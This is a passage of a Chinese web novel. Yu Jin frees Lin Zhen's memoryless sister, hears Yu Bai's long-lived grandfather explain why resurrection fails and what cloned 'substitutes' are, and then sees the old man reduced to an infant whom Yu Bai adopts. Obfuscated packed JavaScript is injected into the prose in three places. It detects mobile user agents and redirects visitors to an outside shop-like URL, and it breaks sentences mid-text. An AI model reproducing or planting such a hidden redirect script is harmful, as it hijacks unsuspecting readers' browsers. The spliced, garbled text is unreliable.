“我叫她名字了。”她说,声音沙哑得像砂纸,“她不理我。” 虞锦没有说话。 林真抬起手,按在玻璃上。 玻璃很冷,她的手指很快就冻得发白。但她没有缩回来,就那么按着,像想透过那层冰凉的屏障,摸到里面的人。 “她以前不是这样的。”她说,声音飘忽,像在自言自语,“她以前会笑,会哭,会生气,会撒娇。她最怕黑,晚上睡觉都要拉着我的手。她最爱吃糖,但牙齿不好,我总是不让她吃。她就偷偷藏糖,藏在枕头底下,藏在书包里,藏在——藏在——” 她说不下去了。 虞锦走到她身边,也看着柜子里的人。 那个人闭着眼睛,安安静静地站着,像一座雕塑。 她不知道有人在看她。 不知道有人在为她哭。 不知道这个世界上还有一个人,用尽全力想要把她救出去。 “怎么把她放出来?”虞锦问。 林真擦了擦眼泪,深吸一口气,努力让自己平静下来: “柜子后面有一个开关。按下去,玻璃会打开。但她出来后,还是这个样子——没有记忆,没有感情,什么都不知道。” “然后呢?” “然后……”林真顿了顿,“然后我想带她出去。去晒太阳,去吹风,去看这个世界。也许有一天,她会想起什么。” 她看着虞锦,眼睛里有泪,也有光: “你知道吗,她小时候最喜欢晒太阳。夏天的下午,她会搬个小凳子坐在门口,一坐就是一下午。晒得脸通红,满头大汗,也不肯进屋。我骂她傻,她就笑,说‘姐,晒太阳舒服’。” 虞锦看着她: “如果她永远想不起来呢?” 林真笑了,笑得很轻,很淡: “那就永远想不起来。我养她一辈子。” 虞锦沉默了几秒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352637|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后她走到柜子后面,找到了那个开关。 红色的,很小,上面写着: “紧急开启” “开启后,模板将失去永久休眠资格” “是否确认?” 虞锦按下去。 玻璃柜发出一声轻响。 那声音很轻,但在寂静的地下室里,像一声惊雷。 柜门缓缓打开。 冷气涌出来,带着一股刺鼻的味道。 里面的人睁开眼睛。 那双眼睛和街上的A级一样——空的。 没有焦点,没有情绪,没有任何东西。 她看着林真,看着虞锦,没有任何表情。 “你们是谁?”她问,声音平板得像机器。 林真的眼泪又流下来: “我是你姐姐。” 那人看着她,眨了眨眼: “我没有姐姐。” 林真伸出手,想碰她的脸。 她后退一步,躲开了。 动作很轻,很快,像一只受惊的鸟。 “别碰我。”她说,声音还是那么平,但多了一丝警惕,“你们是谁?为什么放我出来?” 林真站在原地,手悬在半空,收不回来。 那只手在空中微微颤抖,手指蜷曲着,像想抓住什么又抓不住。 虞锦看着她,看着那只悬空的手,看着那个人空洞的眼睛,看着这个冰冷的、白色的地下室。 她忽然觉得很累。 为这个世界累。 为这些人累。 为那些永远在等、永远等不到的人累。 但她没有停下来。 她走到那个人面前,看着她的眼睛。 那双眼睛还是空的,但虞锦总觉得里面有什么东西在沉睡。 “你叫什么名字?”她问。 那人想了想,摇头: “不知道。” “你喜欢什么?” “不知道。” “你害怕什么?” “不知道。” “你记得什么?” 那人沉默了很久。 她低下头,看着自己的手,看着自己的脚,看着周围的一切。 然后她说: “我记得……有一个声音。一直在叫我。叫了很久。我不知道是谁,但那个声音让我想哭。” 林真的身体抖了一下。 “什么声音?”虞锦问。 那人闭上眼睛,像在努力回忆。 她的眉头皱起来,嘴唇抿紧,整张脸都在用力——像一个人拼命想要抓住梦里的东西,却怎么也抓不住。 “是……”她说,声音很慢,“是姐姐。姐姐。姐姐。” 她睁开眼睛,看着林真: “是你吗?” 林真捂住嘴,拼命点头。 眼泪从她指缝里流出来,滴在地上。 那人看着她,眼睛里有一点光在闪烁。 很微弱,像风中快要熄灭的烛火。 但确实有。 那是这么多年来,她眼睛里第一次有光。 “你……为什么哭?”她问。 林真哽咽着说: “因为我找到你了。” 那人看着她,看了很久。 然后她慢慢伸出手,碰了碰林真的脸。 那只手很冷,很轻,像一片雪花落在脸上。 “你的眼泪,”她说,“好烫。” 林真抓住她的手,哭得说不出话。 虞锦站在旁边,看着她们。 看着那只握在一起的手。 看着那两张一模一样的脸。 看着那个慢慢亮起来的眼神。 她想起那个活了三百年的女人说的话: “想死的时候,每一天都是煎熬。不想死的时候,每一天都是礼物。” 也许对于林真来说,这一刻就是礼物。 不管妹妹以后能不能想起来,这一刻是真的。 眼泪是真的。 手心的温度是真的。 那句“好烫”,也是真的。 从地下室出来,天已经黑了。 规则之城的夜晚没有星星,只有无数光柱把天空照得斑斓。 林真牵着妹妹的手,走在前面。 妹妹走得很慢,一直在看周围的东西——路灯,树,天上的光柱,路边的行人。每一样都像第一次看到。 “那是什么?”她问。 “路灯。” “那个呢?” “树。” “那个亮的?” “副本光柱。” “那个走路的人?” “普通人。” 妹妹点点头,继续看。 她看得那么认真,那么专注,像一个刚出生的婴儿,第一次睁开眼睛看这个世界。 林真回头,看了虞锦一眼。 她的眼睛里有泪,也有笑。 “谢谢。”她轻声说。 虞锦摇头: “不用。” “接下来呢?”林真问,“你还要找复活机制吧?” 虞锦点头。 林真想了想: “我之前在优化中心工作的时候,听说过一个地方。在最底层,有一个被封存的档案室。里面可能有关于复活机制的资料。” “最底层?” “嗯。比模板库还下面。那里关着一个人——据说是第一任的什么人。他知道很多秘密。” 虞锦的眼神动了一下。 第一任的什么人? 她想起精神病院的“妈妈”,想起永生病房的“母亲”,想起完美基因里的“父母”。 第一任身边,到底有多少人? “那个人叫什么?”她问。 林真摇头: “不知道。只知道他在那里关了——很久很久。” 她顿了顿: “你要去吗?” 虞锦沉默了几秒。 她看着林真,看着林真身边的妹妹,看着她们握在一起的手。 然后她点头: “去。” 林真看着她,欲言又止。 “怎么了?” “那里……”林真说,“很危险。据说下去的人,没有几个能上来的。” 虞锦笑了: “我习惯了。” 林真愣了一下,然后也笑了。 “你真的很奇怪。”她说。 “哪里奇怪?” “明明可以不管这些事,却非要管。明明可以不理我,却非要来。明明可以不去那个地方,却非要去。” 虞锦想了想: “可能因为,我也是被救过的人。” 林真看着她。 “有人救过我。”虞锦说,“在我最需要的时候。所以我得还回去。” 林真沉默了几秒。 然后她说: “那你要小心。” 虞锦点头: “会的。” 她转身,走向那个方向——那个比地下室更深、更暗、更冷的地方。 林真在后面喊: “虞锦!” 她回头。 林真看着她,眼睛里有光: “活着回来。” 虞锦笑了: “嗯。” 她走进夜色里。 身后,林真和妹妹手牵着手,慢慢走向另一个方向。 光柱在头顶闪烁,像无数只眼睛,看着这个永远不会停止的世界。 12. 完美基因 铁门在身后缓缓关上,发出一声沉闷的巨响。 虞锦站在黑暗中,眼睛需要时间适应。这里比上面的地下室更深、更暗、更冷,冷到呼吸都带着白气。空气里有一股奇怪的味道——不是消毒水,不是腐败,而是一种更古老的气息,像尘封多年的旧书,像时间本身腐烂的味道。 “往这边走。” 声音从前方传来,苍老,沙哑,但意外地平稳。 虞锦循声走去。 走了大约二十步,眼前出现了一点光。 不是灯光,而是一种昏黄的、摇曳的光——烛光。 一张桌子,一把椅子,一根蜡烛。 椅子上坐着一个人。 很老很老的男人,老到看不出年龄。他的头发全白了,稀薄地贴在头皮上,脸上的皱纹像干裂的土地,一层叠着一层。他穿着一件灰色的长袍,破旧但干净,双手交叠放在桌上,像一尊雕塑。 但那双眼睛是活的。 烛光映在里面,跳跃着,闪烁着,像两团永不熄灭的火。 他看着她,嘴角慢慢弯起来。 “你来了。”他说,“我等你很久了。” 虞锦站在他面前,没有坐下。 “你是郁白的爷爷?” “是。”他点头,“也是第一任的父亲。也是这个副本的第一个模板。也是——这个世界上活得最久的人。” 他顿了顿,笑了一下: “头衔挺多的,是吧?” 虞锦没有笑。 她看着他的眼睛——那双眼睛的形状,和郁白一模一样。但里面的东西不一样。郁白的眼睛里有玩味,有观察,有一种高高在上的距离感。这个老人的眼睛里,只有平静。 像一潭深不见底的水。 “你说复活机制不存在。”虞锦开口,“那你为什么还活着?为什么在这里?” 老人看着她,眼里闪过一丝赞许: “你不先问问‘替身’是什么?” “你先回答我的问题。” 老人笑了,笑声像风吹过枯叶: “好,好。有性格。和她年轻时候一样。” 他指了指对面的椅子: “坐下吧。这个故事很长。” 虞锦沉默了一秒,坐下了。 老人没有立刻开口。 他拿起桌上的蜡烛,举到眼前,看着那团跳动的火苗,像在看什么珍贵的东西。 “我活了多久?”他喃喃道,“我自己都记不清了。一开始我还数,数到一百年,两百年,三百年——后来不数了。因为数了也没用,反正死不了。” 他放下蜡烛,看着虞锦: “你知道‘永生’是什么感觉吗?” 虞锦想起永生病房里的那些人。 “想死死不了的感觉。” 老人点头: “对,也不对。想死死不了,是痛苦。但比痛苦更可怕的是——你看着所有人死去。” 他的眼神飘远,像在看很远很远的地方: “我女儿,就是第一任,她是我生的,我养的。她小时候特别可爱,扎两个小辫子,笑起来有两个酒窝。她妈死得早,我一个人把她拉扯大。她长大了,结婚了,生孩子了——那个孩子也死了。然后她就疯了。” 他顿了顿: “她疯的时候,我没能拦住她。她创造了这个世界,创造了这些规则,然后把自己分成三份,扔在不同的地方。我?她把我关在这里,说‘爸,你在这儿等我,等我找到复活的办法,就把妈和你都复活’。” 虞锦的眉头皱起来: “复活你?你不是还活着吗?” 老人笑了: “她说的是‘真正的复活’——不是这种永生,是回到原来的世界,回到原来的身体,回到原来的时间。她想要的是一个‘完整’的家。” 他的声音低下去: “但她没找到。她找了很久很久,找了一百年,两百年,三百年——最后她放弃了。” “放弃了?” “对。”老人点头,“她来找我,说‘爸,我找不到。妈回不来了,你的身体也回不来了。我只能让你们活着,但活成这样。’” 他看着自己的手,那双手干枯得像树枝: “然后她走了。再也没回来。” 虞锦沉默了。 她想起精神病院的那个“妈妈”,想起她疲惫的眼神,想起她说“你是我唯一的希望”。 原来那个“希望”,不是希望虞锦成为规则制定者。 是希望虞锦找到她找不到的东西。 “那‘替身’是什么?”虞锦问。 老人看着她,眼睛里有光闪了一下: “你终于问到了。” 他站起来,走到墙角,推开一个隐蔽的柜子。 柜子后面是一扇小门,门上刻着三个字: “替身室” “跟我来。”他说。 虞锦跟着他走进去。 里面是一个很小的房间,比外面的更暗。只有一盏昏黄的灯,照在房间中央的一个东西上。 一个玻璃柜。 和上面那些模板的玻璃柜一模一样。 但里面躺着的不是人。 而是一个—— 虞锦走近,看清了。 一个婴儿。 很小很小的婴儿,蜷缩着,闭着眼睛,皮肤是淡粉色的,像刚出生。他的胸口在微微起伏——他还活着。 “这是……”虞锦的声音发紧。 “替身。”老人说,“第一任留下的最后一个实验品。” 他走到玻璃柜前,伸手轻轻摸着柜面: “她做了无数次实验,想把死去的人‘复制’出来。不是复活,是复制——用基因,用记忆,用所有能收集到的信息,造出一个一模一样的人。” 他回头看着虞锦: “但她发现,复制出来的人,不是原来的人。他们有原来的样子,原来的记忆,原来的性格——但他们没有‘灵魂’。” “灵魂?” “那种说不清的东西。”老人说,“看到亲人会心跳的感觉,想起往事会流泪的感觉,爱一个人愿意为他去死的感觉——复制不出来。” 他指着柜子里的婴儿: “这个,是她用她女儿——就是那个死去的孩子——的基因造出来的。一模一样,连DNA都相同。但它只是一个空壳。它会长大,会说话,会走路,但它永远不知道什么是‘爱’。” 虞锦看着那个婴儿。 那么小,那么脆弱,那么无辜。 但它不是那个孩子。 永远不是。 “所以复活机制真的不存在?”她问。 老人看着她,眼神复杂: “我说不存在,是因为第一任没找到。但后来我发现,也许‘不存在’本身就是答案。” “什么意思?” 老人沉默了几秒。 然后他说: “你知道为什么人死了不能复活吗?” 虞锦没有回答。 他继续说: “因为如果死了可以复活,活着就没有意义了。如果失去可以重来,珍惜就没有意义了。如果离别可以避免,重逢就没有意义了。” 他看着虞锦: “我女儿不懂这个道理。她太爱她女儿了,爱到不愿意接受任何失去。所以她疯了,她创造了这个世界,她把所有死不了的人都关在这里——但到最后,她女儿还是没回来。” 他的声音轻下去: “因为她女儿不想回来。她死了,就是死了。她在另一个世界,等着她妈去陪她。但她妈不肯去。” 虞锦的心像被什么东西狠狠揪了一下。 她想起周明远。 想起他在黄昏里画母亲的样子。 想起他说“我拼命打副本,拼命攒积分,想找复活的办法”。 如果复活真的不存在—— 那他该怎么办? 林真该怎么办? 那些失去亲人的人,该怎么办? “你在想那些人。”老人看着她,像看穿了她的心思,“那些等着复活亲人的人。” 虞锦点头。 老人叹了口气: “你可以告诉他们真相。让他们死心。” “然后呢?” “然后他们可以选择——是继续活着,还是去死。” 虞锦沉默了很久。 然后她问: “如果我不想告诉他们真相呢?” 老人看着她: “那你就得给他们一个‘替代品’。” 他指了指柜子里的婴儿: “替身。你可以给他们造一个一模一样的亲人。有记忆,有性格,会说会笑——只是没有灵魂。但他们不会知道。他们可以骗自己一辈子。” 虞锦看着那个婴儿。 造一个一模一样的亲人。 骗自己一辈子。 她想起林真说“她可以重新认识我”。 想起周明远说“只要能复活,让我做什么都行”。 如果给他们一个替身—— 他们会接受吗? 还是会发现,然后更痛苦? “我不知道。”她轻声说。 老人看着她: “那就慢慢想。你有时间。” 他转身,走向门口。 走到门口,他停下,回头看她: “对了——你认识我孙子吗?” 虞锦愣了一下: “郁白?” “对,郁白。”老人的眼睛亮了一下,“他还活着?” “活着。” “过得好吗?” 虞锦想了想: “不好不坏。但比以前好。” 老人笑了: “那就好。那就好。” 他顿了顿: “他小时候,我抱过他一次。就一次。他刚出生的时候,他爸抱来给我看。那么小,那么软,眼睛还没睁开。我当时想,这孩子以后会是什么样呢?” 他的声音有点抖: “后来我被关在这里,就再也没见过他。” 虞锦看着他。 看着他浑浊的眼睛里那一点光。 看着他想念孙子又见不到的样子。 她忽然想起自己的爷爷。 那个在她小时候给她买糖吃、后来生病躺在床上、最后走的时候她没赶上的爷爷。 “我可以帮你带话。”她说。 老人愣了一下: “什么?” “给郁白带话。”虞锦说,“你想说什么?” 老人看着她,眼眶慢慢红了。 他想了好一会儿。 然后他说: “告诉他,爷爷对不起他。” “对不起什么?” “对不起没能陪他长大。”老人说,“对不起让他一个人。对不起——” 他顿了顿: “对不起他爸那样对他。我知道他爸打过他,骂过他,让他受苦了。我没能拦住。我被关在这里,什么都做不了。” 他低下头,看着自己的手: “我是个没用的爷爷。” 虞锦没有说话。 她只是站在那里,看着这个老人。 这个活了不知道多少年、被女儿关在这里、想念孙子却见不到的老人。 她忽然觉得,这个世界最大的残酷,不是死。 是活着却见不到想见的人。 “我会告诉他的。”她说。 老人抬起头,看着她,眼里有泪光: “谢谢。” 从替身室出来,虞锦回到老人坐着的那个房间。 她站在桌前,看着那根快要燃尽的蜡烛。 “我还有最后一个问题。”她说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林真和她妹妹还站在外面,妹妹正仰着头,看天上的副本光柱。 “那是什么?”她问。 “光。”林真说。 “为什么亮?” “因为里面有人。” “人是什么?” 林真愣了一下,然后笑了: “人就是……会笑,会哭,会爱,会怕的东西。” 妹妹看着她,眨了眨眼: “你是人吗?” “是。” “那我呢?” 林真看着她,眼眶慢慢红了: “你也是。你永远都是。” 妹妹点点头,继续看那些光柱。 虞锦走过去。 林真看到她,眼睛一亮: “怎么样?找到复活机制了吗?” 虞锦沉默了一秒。 然后她说: “没有。复活不存在。” 林真的笑容僵住了。 “什么?” “复活不存在。”虞锦重复,“第一任试了几百年,没成功。永远不可能成功。” 林真站在原地,像被抽空了所有力气。 她的嘴唇动了动,想说什么,但没说出来。 旁边的妹妹还在看光柱,什么都不知道。 过了很久,林真开口,声音很轻: “那……那我妹妹呢?她还能变回原来那样吗?” 虞锦看着她。 看着她眼睛里的那一点光。 那一点快要熄灭的光。 她想起老人说的话: “你可以给他们一个‘替代品’。” 但她看着林真,看着她身边的那个女孩——那个什么都不懂、却在努力看世界的女孩。 她忽然觉得,也许不需要替代品。 也许这个人,已经是真的了。 虽然她没有记忆,没有过去,没有那个叫“妹妹”的身份。 但她有现在。 有此刻。 有这双正在看光柱的眼睛。 “她已经是了。”虞锦说。 林真愣了一下: “什么?” 虞锦看着那个女孩: “她已经是原来的她了。不是记忆里的她,是现在的她。她会看光,会问问题,会碰你的脸说‘好烫’。这不就是她吗?” 林真顺着她的目光看过去。 看着那个仰着头的女孩。 看着那双好奇的眼睛。 看着那张和她一模一样的脸。 她的眼泪流下来。 “可是她不记得我了……” “她记得。”虞锦说,“她记得有一个声音一直在叫她。那个声音,就是你。” 林真捂住嘴,哭得说不出话。 那个女孩听到哭声,转过头来,看着她。 “你为什么又哭了?”她问。 林真摇摇头,伸手抱住她。 女孩被她抱着,一动不动。 然后她慢慢抬起手,轻轻拍着林真的背。 “别哭了。”她说,“我在这儿。” 林真哭得更厉害了。 但那是好的哭。 是那种终于等到什么的哭。 虞锦站在那里,看着她们。 看着这个冰冷的、残酷的、让人绝望的世界里,这一点点温暖。 她忽然想起郁白问她的那个问题: “如果有一天,我也困在某一个地方,你会来救我吗?” 她当时说“会”。 现在她更确定了。 因为这些人教会了她一件事: 活着很难。 但有人陪着,就没那么难。 她转身,走向规则之城的街道。 阳光——如果那灰白的光能叫阳光的话——落下来,照在她身上。 不暖。 但也不冷。 因为有人在前方等着她。 13. 完美基因 郁白站在那扇铁门前,很久没有动。 虞锦站在他身边,没有说话。 从规则之城到这里,他一路上都很安静。不是平时那种玩味的安静,而是一种更深的、让人不知道该怎么靠近的安静。 他什么都没问。 爷爷长什么样?还认得出他吗?还记得他吗? 什么都没问。 只是跟着她走,一步一步,穿过基因优化中心,穿过模板库,穿过那扇写着“D级禁区”的门,一直走到这里。 现在他站在最底层的入口,看着那扇锈迹斑斑的铁门。 “就是这儿?”他问。 声音很平,听不出任何情绪。 “就是这儿。”虞锦说。 他伸出手,按在门上。 铁门很凉,凉到隔着空气都能感觉到那种寒意。但他没有缩手,就那么按着,像是在确认什么。 “我小时候,”他忽然开口,“想过很多次,如果有一天见到他,要说什么。” 虞锦没有接话。 “想过骂他。想过问他为什么不管我。想过告诉他我恨他。”他顿了顿,“后来想得多了,就不想了。” “为什么?” “因为想也没用。”他说,“他不在。” 他的手从门上移开,垂在身侧。 “现在他在了。”虞锦说。 郁白转过头,看着她。 他的眼睛里有很复杂的东西——期待,害怕,犹豫,还有一点点光。 “你陪我进去?”他问。 虞锦点头。 他深吸一口气,推开门。 门后是一条很短的走廊,短到只有三步。 三步之后,是一个房间。 很小,很暗,只有一张桌子,一把椅子,一根燃了一半的蜡烛。 椅子上没有人。 郁白站在门口,目光扫过整个房间——桌子,椅子,蜡烛,墙角那个隐蔽的柜子。 没有人。 “人呢?”他问,声音有点紧。 虞锦也愣住了。 老人呢? 她走的时候他还在,坐在这里,看着那根快要燃尽的蜡烛。他说他出不去,说他和这个副本长在一起了。 那现在去哪儿了? “可能……”她开口,想说什么。 但没说完。 因为那个隐蔽的柜子后面,传来一声很轻的响动。 “哇——” 婴儿的哭声。 很小,很弱,像刚出生的那种。 郁白和虞锦同时看向那个柜子。 虞锦走过去,推开柜门。 柜子后面那扇小门开着——就是昨晚老人带她进去的那个“替身室”。 哭声从里面传出来。 她走进去。 郁白跟在后面。 替身室里,那个玻璃柜还开着。 但里面那个婴儿,不见了。 地上,有一团小小的、蜷缩着的东西。 在动。 在哭。 虞锦慢慢走近。 那是一个婴儿。 很小很小的婴儿,皮肤是淡粉色的,皱巴巴的,像刚出生没几天。他蜷缩在地上,闭着眼睛,嘴巴一张一合,发出微弱的哭声。 但那双眼睛—— 那双眼睛的形状,和郁白一模一样。 虞锦愣住了。 郁白站在她身后,一动不动。 婴儿哭了几声,慢慢睁开眼睛。 那是一双很清澈的眼睛,黑葡萄似的,湿漉漉的,倒映着昏黄的烛光。他看着郁白,眨了一下,又眨了一下。 然后他笑了。 那笑容——和郁白笑起来一模一样。 带着一点狡黠,一点得意,一点“你看我多可爱”的撒娇。 郁白站在原地,脸上什么表情都没有。 但虞锦看到他的手,在微微发抖。 “这……”她开口,声音发干,“这是你爷爷?” 郁白没有说话。 他慢慢蹲下来,看着那个婴儿。 婴儿伸出手,想去抓他的手指。 那只手太小了,小到只能握住他的一根指头。 握住了,就不放。 婴儿看着他,嘴里发出“咿咿呀呀”的声音,像是想说什么。 郁白低着头,看着那只握住自己手指的小手。 很久。 然后他开口,声音哑得不像他: “爷爷?” 婴儿听到这个声音,笑得更开心了。 “咿——”他挥舞着另一只手,像是在回应。 郁白闭上眼睛。 虞锦看到他的睫毛在抖。 她想起他父亲说的话: “你妈死的时候,我才知道,原来人死了就是真的死了。” 现在他爷爷也死了。 不,没死。 变成了婴儿。 变成了一个什么都不懂、什么都不知道、却还用那种眼神看着他的婴儿。 这比死了更残忍。 “怎么回事?”郁白睁开眼睛,看着虞锦。他的眼睛是红的,但没有泪,“他怎么会变成这样?” 虞锦摇头: “我不知道。昨晚他还在,还跟我说话,还说想见你……” 她忽然想起老人最后说的那句话: “我在这儿待了太久,和它长在一起了。出去了反而会散。” 散了。 原来“散”是这个意思。 不是死。 是变回最初的样子。 变回什么都没有、什么都不懂、从头开始的样子。 “他说他出不去。”虞锦轻声说,“他说和这个副本长在一起了。出去了反而会散。” 郁白沉默了很久。 他看着那个婴儿,看着那只紧紧握着自己手指的小手。 “散了。”他重复这个词,“变成这样,就是散了?” 婴儿听不懂他在说什么,只是笑。 笑着笑着,打了个哈欠,闭上眼睛,睡着了。 握着他手指的手,慢慢松开。 郁白看着那只松开的手,看着那张睡着的脸,看着那和记忆中一模一样的眉眼—— 他终于动了。 他伸出手,很轻很轻,把婴儿从地上抱起来。 很小,很轻,像一片羽毛。 他抱着他,站在那里,一动不动。 虞锦看着他。 看着他抱着那个婴儿的姿势——笨拙的,小心翼翼的,像抱着全世界最脆弱的东西。 她想起他说过的话: “我活了这么久,第一次不知道该怎么办。” 现在他知道了。 知道怎么办。 抱着。 只能抱着。 他们从替身室出来,回到那个小房间。 郁白抱着婴儿,坐在那把椅子上。婴儿还在睡,小小的身体蜷在他怀里,呼吸很轻,很均匀。 虞锦站在旁边,看着他。 “你打算怎么办?”她问。 郁白没有立刻回答。 他看着怀里的婴儿,看了很久。 然后他说: “带他出去。” “出去?” “规则之城。”他说,“外面。能去哪儿去哪儿。” 虞锦沉默了几秒: “可是他——” “他是我爷爷。”郁白打断她,声音很平,“不管变成什么样,他是我爷爷。” 他抬起头,看着虞锦: “我爸等了我一辈子,我没回去。现在他还在那个小镇上等我。这个——” 他低头看着怀里的婴儿: “这个我也不能丢。” 虞锦看着他。 看着他的眼睛。 那里面没有泪,没有崩溃,只有一种很沉很沉的东西。 那是责任。 也是爱。 “好。”她说,“我陪你。” 郁白看着她,眼里有一点光闪了闪。 “谢谢。”他说。 他们走出最底层,走出基因优化中心,走出那个副本。 婴儿一直睡着,很乖,一次都没醒。 回到规则之城的时候,天已经黑了——如果那种灰蒙蒙的光算天的话。 郁白站在街上,抱着那个婴儿,忽然不知道该往哪儿走。 “去我家?”虞锦问。 他愣了一下: “你家?” “公寓。”她说,“你总不能在街上站一夜。” 郁白看着她,想说什么,又咽了回去。 “好。”他说。 虞锦的公寓很小。 一张床,一张沙发,一张桌子,一把椅子。 她把床让给郁白和婴儿,自己睡沙发。 郁白坐在床边,看着那个婴儿。 婴儿还在睡,小脸红扑扑的,嘴巴微微张着,偶尔砸吧一下,像是在梦里吃奶。 “他以前不是这样的。”郁白忽然开口。 虞锦躺在沙发上,没动。 “他以前很凶。”郁白继续说,“凶我爸,凶我,凶所有人。他骂人的时候,整个镇子都听得见。” 他顿了顿: “但他也抱过我。就一次。我刚出生的时候。我爸说他抱着我,哭了。哭完就把我还给我爸,说‘好好养他’。” 虞锦转过头,看着他。 他的侧脸在昏暗的光线里,显得很安静。 “后来他被关进去了。”他说,“我不知道被关在哪儿。我爸不说。我问过,他不告诉我。后来我就不问了。” 他低下头,看着婴儿: “我以为他死了。” 虞锦没有说话。 “现在他没死。”他说,“但也不像活着。” 他沉默了很久。 然后他说: “虞锦,你说他还会变回去吗?” 虞锦想了想: “我不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359385|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁白点点头: “我也不知道。” 他伸出手,轻轻碰了碰婴儿的脸。 婴儿在睡梦中动了动,嘴角弯起来,像是在笑。 郁白看着那个笑,忽然也笑了。 很轻,很淡。 但那是真正的笑。 半夜,虞锦醒了。 不是被吵醒的,是突然就醒了,像有什么东西在叫她。 她坐起来,看向床边。 郁白不在。 婴儿也不在。 她愣了一下,站起来,走到床边。 床上只有一团皱巴巴的被子。 她转身,看向门口。 门开着一条缝。 她推开门,走出去。 走廊尽头,有一个小小的身影。 郁白站在窗边,抱着婴儿,看着窗外的光柱。 那些光柱五颜六色的,红的,蓝的,绿的,紫的,把整个规则之城照得像一个巨大的游乐场。 婴儿醒着,也在看那些光。 他伸出手,想去抓。 当然抓不到。 但他还是伸着,一下一下,像在够什么。 “漂亮吗?”郁白问。 婴儿“咿”了一声。 郁白笑了: “漂亮。” 他指着最近的那根光柱: “那个是D级副本,新手去的。我很久没进过副本了,不知道里面什么样。” 他又指着远处一根金色的: “那个是S级,最难的。你妈——你女儿——就是第一任,设计的。她在里面加了很多规则,很难过。” 婴儿听不懂,只是看。 郁白低下头,看着他: “你以后想进去吗?” 婴儿眨眨眼。 “不想也行。”郁白说,“不想就在家待着。我养你。” 婴儿笑了,伸手去抓他的脸。 郁白没躲。 那只小手拍在他脸上,软软的,暖暖的。 他愣了一下。 然后他把婴儿抱紧了一点,下巴抵在他小小的头顶上。 虞锦站在后面,看着这一幕。 她想起那个在精神病院里等了三年的“妈妈”。 想起那个在永生病房里活了三百年的女人。 想起那个在完美基因底层等了无数年的老人。 他们都等了很久。 等一个人回来。 等一个人来看他们。 等一个人抱他们。 现在这个人,等到了。 虽然是以这种方式。 但等到了。 她转身,轻轻走回房间。 让他们待一会儿。 第二天早上,虞锦醒来的时候,郁白已经坐在沙发上了。 婴儿不在他怀里。 “人呢?”她问。 郁白指了指床。 虞锦看过去——婴儿躺在床上,四仰八叉的,睡得正香。 “他半夜不睡了,”郁白说,“非要玩。玩到天亮才睡着。” 他的语气很无奈,但眼睛里带着笑。 虞锦也笑了: “当爹的感觉怎么样?” 郁白愣了一下: “我不是他爹——” “我知道。”虞锦说,“但你现在干的就是这活儿。” 郁白想了想,笑了: “好像……还行。” 虞锦去倒了杯水,递给郁白。 他接过,喝了一口。 “我今天带他去看我爸。”他说。 虞锦看着他: “你爸知道吗?” “不知道。但应该会高兴。” “那你呢?” 郁白沉默了几秒。 然后他说: “我也高兴。” 他看着床上那个小小的身影: “虽然他不是原来的那个了。但他还在。还能笑,还能看光,还能抓我的脸。这就够了。” 虞锦点点头。 郁白站起来,走到床边,把婴儿轻轻抱起来。 婴儿醒了,揉揉眼睛,看到他,笑了。 “走吧。”郁白说,“带你去看你儿子。” 婴儿听不懂,只是笑。 虞锦送他们到门口。 郁白抱着婴儿,站在走廊里,忽然回头: “虞锦。” “嗯?” “你之前问我,如果有一天我困在某一个地方,你会不会来救我。” 虞锦看着他。 “现在我知道了。”他说,“你会。” 他顿了顿: “我也会。如果你困住了,我去救你。” 他说完,转身走了。 虞锦站在原地,看着他的背影消失在走廊尽头。 她忽然觉得,这个冰冷的、残酷的、让人绝望的世界,好像没那么冷了。 因为有人在。 因为有人愿意来救她。 14. 完美基因 从规则之城到小镇的路,郁白走了很多遍。 但这一次不一样。 这一次他怀里抱着一个婴儿。 婴儿很轻,轻到几乎感觉不到重量。但他抱得很小心,两只手交叠着托住,胳膊绷得紧紧的,像托着一件随时会碎掉的瓷器。 “你别那么紧张。”虞锦在旁边说,“你这样抱着,他不舒服。” 郁白低头看了看怀里的婴儿。 婴儿确实在扭,小眉头皱着,嘴巴一瘪一瘪的,像是要哭。 “那怎么抱?”他问。 虞锦伸手: “给我。” 郁白犹豫了一下,把婴儿递过去。 虞锦接过,调整了一下姿势——让婴儿的头靠在她臂弯里,身体顺着她的手臂躺平,另一只手托着屁股。婴儿立刻不扭了,眨巴眨巴眼睛,看着她。 “这样。”虞锦说,“头要高一点,防止呛奶。身体要平,他才舒服。” 郁白看着她抱婴儿的姿势,有点愣。 “你怎么知道的?” 虞锦想起月子中心的那些鬼婴,想起那本《母婴护理百科全书》: “带过孩子。” “带过?” “鬼婴。”虞锦说,“也是婴。” 郁白沉默了。 然后他笑了: “你真是……” “真是怎么?” “真是无所不能。”他说。 虞锦没理他,低头看着怀里的婴儿。 婴儿也看着她,那双黑葡萄似的眼睛亮晶晶的,像两颗小星星。 他伸出手,抓住虞锦的一根手指。 小小的手,软软的,暖暖的。 虞锦的心软了一下。 “他喜欢你。”郁白说。 “他抓谁都这样。” “不是。”郁白看着婴儿,“他只抓过我和你的。我爸的没抓过。” 虞锦愣了一下。 